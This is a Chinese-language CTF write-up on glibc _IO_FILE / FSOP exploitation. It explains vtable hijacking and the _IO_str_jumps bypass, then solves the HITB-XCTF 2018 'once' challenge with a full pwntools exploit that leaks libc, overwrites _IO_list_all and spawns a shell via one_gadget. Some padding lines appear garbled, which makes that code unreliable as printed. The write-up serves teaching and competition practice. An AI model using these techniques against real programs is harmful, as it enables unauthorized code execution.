通過一道pwn題探究_IO_FILE結構攻擊利用
前言
前一段時間學了IO-file的知識,發現在CTF中IO_file也是一個常考的知識點,這裡我就來總結一下IO_file的知識點,順便可以做一波筆記。首先講一下IO_file的結構體,然後其利用的方法,最後通過一道HITB-XCTF 2018 GSEC once的題目來加深對IO_file的理解。
libc2.23 版本的IO_file利用
這是一種控制流劫持技術,攻擊者可以利用程式中的漏洞覆蓋file指標指向能夠控制的區域,從而改寫結構體中重要的資料,或者覆蓋vtable來控制程式執行流。
IO_file結構體
在ctf中呼叫setvbuf(),stdin、stdout、stderr結構體一般位於libc資料段,其他大多數的FILE 結構體儲存在堆上,其定義如下程式碼:
struct _IO_FILE { int _flags;/* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note:Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr;/* Current read pointer */ char* _IO_read_end;/* End of get area. */ char* _IO_read_base;/* Start of putback+get area. */ char* _IO_write_base;/* Start of put area. */ char* _IO_write_ptr;/* Current put pointer. */ char* _IO_write_end;/* End of put area. */ char* _IO_buf_base;/* Start of reserve area. */ char* _IO_buf_end;/* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base;/* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small.*/ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /*char* _save_gptr;char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
FILE結構體會通過struct _IO_FILE *_chain連結成一個連結串列,64位程式下其偏移為0x60,連結串列頭部用_IO_list_all指標表示。如下圖所示
IO_file結構體外面還被一個IO_FILE_plus結構體包裹著,其定義如下
struct _IO_FILE_plus { _IO_FILEfile; IO_jump_t*vtable; }
其中包含了一個重要的虛表*vtable,它是IO_jump_t 型別的指標,偏移是0xd8,儲存了一些重要的函式指標,我們一般就是改這裡的指標來控制程式執行流。其定義如下
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
利用方法(FSOP)
這是利用程式中的漏洞(如unsorted bin attack)來覆蓋_IO_list_all(全域性變數)來使連結串列指向一個我們能夠控制的區域,從而改寫虛表*vtable。通過呼叫 _IO_flush_all_lockp()函式來觸發,,該函式會在下面三種情況下被呼叫:
1:當 libc 執行 abort 流程時。
2:當執行 exit 函式時。當執行流從 main 函式返回時
3:當執行流從 main 函式返回時
當 glibc 檢測到記憶體錯誤時,會依次呼叫這樣的函式路徑:malloc_printerr ->
libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
要讓正常控制執行流,還需要偽造一些資料,我們看下程式碼
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
這時我們偽造 fp->_mode = 0, fp->_IO_write_ptr > fp->_IO_write_base就可以通過驗證
新版本下的利用
新版本(libc2.24以上)的防禦機制會檢查vtable的合法性,不能再像之前那樣改vatable為堆地址,但是_IO_str_jumps是一個符合條件的 vtable,改 vtable為 _IO_str_jumps即可繞過檢查。其定義如下
const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
其中 IO_str_overflow 函式會呼叫 FILE+0xe0處的地址。這時只要我們將虛表覆蓋為 IO_str_jumps將偏移0xe0處設定為one_gadget即可。
還有一種就是利用io_finish函式,同上面的類似, io_finish會以 IO_buf_base處的值為引數跳轉至 FILE+0xe8處的地址。執行 fclose( fp)時會呼叫此函式,但是大多數情況下可能不會有 fclose(fp),這時我們還是可以利用異常來呼叫 io_finish,異常時呼叫 IO_OVERFLOW
是根據IO_str_overflow在虛表中的偏移找到的, 我們可以設定vtable為IO_str_jumps-0x8異常時會呼叫io_finish函式。
具體題目(HITB-XCTF 2018 GSEC once)
1、先簡單執行一下程式,檢視保護
主要開啟了CANARY和NX保護,不能改寫GOT表
2、ida開啟,反編譯
這裡當輸入一個不合法的選項時,就會輸出puts的地址,用於洩露libc的基地址。
第一個函式是建立一個chunk儲存資料
第二個函式和第三個函式只能執行一次,有個任意地址寫漏洞,這時我們可以利用第二個函式改寫off_202038+3d為_IO_list_all-0x10,然後分別執行第三和第一個函式,最後_IO_list_all就會指向0x555555757040的位置
第四個函式主要是對堆塊的操作,我們可以利用利用這個函式偽造一個_IO_FILE結構
3、具體過程
1、洩露libc,輸入一個“6”即可得到puts函式的地址,然後酸算出libc基地址
p.recvuntil('>') p.sendline('6') p.recvuntil('Invalid choicen') ioputadd=int(p.recvuntil('>',drop=True),16) print hex(ioputadd) libcbase=ioputadd-libc.symbols['_IO_puts'] print hex(libcbase) one=libcbase+0x4526a
2、利用任意地址寫改寫_IO_list_all為堆的地址
p.sendline('1') p.recvuntil('>') p.sendline('2') ioall=libcbase+libc.symbols['_IO_list_all']-0x10 print hex(ioall) payload=p64(ioall)*4 p.sendline(payload) p.recvuntil('>') p.sendline('3') p.recvuntil('>') p.sendline('1')
3、這時只要我們再利用第四個函式偽造__IO_FILE結構體,改寫vtable為_IO_str_jumps,file+0xe0設定
為one_gadget
p.sendline('4') p.sendline('1') p.recvuntil('input size:n') p.sendline('256') jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0#_IO_str_jumps p.recvuntil('>') p.sendline('2') payload=''*0xa8+p64(jump)+p64(one) payload+=''*(0x100-len(payload)) p.sendline(payload) p.recvuntil('>') p.sendline('4')
4、輸入“5”,執行exit()函式觸發one_gadget
p.recvuntil('>') p.sendline('5') p.interactive()
小結
這個是我個人總結出來的IO_file結構的一些知識點,寫得還不夠全,如有寫得不對的地方,歡迎大牛指正。
完整EXP
from pwn import* #context.log_level=True p=process('./once') elf=ELF('once') libc=ELF('libc6_2.23-0ubuntu10_amd64.so') p.recvuntil('>') p.sendline('6') p.recvuntil('Invalid choicen') ioputadd=int(p.recvuntil('>',drop=True),16) print hex(ioputadd) libcbase=ioputadd-libc.symbols['_IO_puts'] print hex(libcbase) one=libcbase+0x4526a p.sendline('1') p.recvuntil('>') p.sendline('2') ioall=libcbase+libc.symbols['_IO_list_all']-0x10 print hex(ioall) payload=p64(ioall)*4 p.sendline(payload) p.recvuntil('>') p.sendline('3') p.recvuntil('>') # p.sendline('1') p.recvuntil('>') p.sendline('4') p.sendline('1') p.recvuntil('input size:n') p.sendline('256') jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps p.recvuntil('>') p.sendline('2') payload=''*0xa8+p64(jump)+p64(one) payload+=''*(0x100-len(payload)) p.sendline(payload) #gdb.attach(p) p.recvuntil('>') p.sendline('4') raw_input() p.recvuntil('>') p.sendline('5') p.interactive()